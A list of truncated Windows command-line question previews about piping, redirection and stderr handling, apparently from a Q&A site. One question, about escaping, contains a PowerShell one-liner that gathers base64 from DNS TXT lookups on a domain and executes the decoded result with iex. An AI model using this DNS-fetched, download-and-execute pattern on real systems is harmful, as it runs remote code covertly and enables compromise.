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Pipe .exe output to text file
I have a utility exe which opens a new window when I run the exe directly or through powershell.
How do I pipe its output to a text file?
I have used
utility.exe > textino.txt
But it creates a ...
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What does "2>&1" do when posted BEFORE 1>x?
I know what this command does:
command 1>/dev/null 2>&1
But what, if anything, does the following do?
command 2>&1 1>/dev/null
I still see standard error output with the second ...
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Piping Set string and escaping in CMD
I'm trying to do:
echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] };
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::...
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piped FOR command, only the first output gets copied repeatedly
As an attempt to solve this issue, I tried to design a command using two Windows CLI tools, dsfo.exe and dsfi.exe (from DS File Ops Kit). The dsfo tool can extract a block of data from a file and ...
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Windows command line - pipe output of dir search to (truncate) operation
This is Windows 10. The question is very simple, I simply don't know the proper syntax to do this.
This will list all files ending in .log:
dir /s /p *.log
This will truncate a file:
echo|set /p=&...
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real windows equivalent to cat *stdin*
Under cmd is there a windows equivalent to the posix command cat ?
cat all by itself no filenames, no switches. I just want something that
copies stdin to stdout until it hits EOF.
it's not a hard ...
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Ping piped to txt does output nothing
Following script should pipe the ping output to a text file
@echo off
rem end with ctrl+c y
ping 192.168.33.65 -t >> C:\_ScriptLog\Ping\ping.txt
but nothing is piped to the txt file, it´s ...
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How to pipeline stderr in cmd.exe?
Some programs would prefer to output the help message in stderr. I want to search the help message with grep command, xx /? | grep regex?
How could i do this?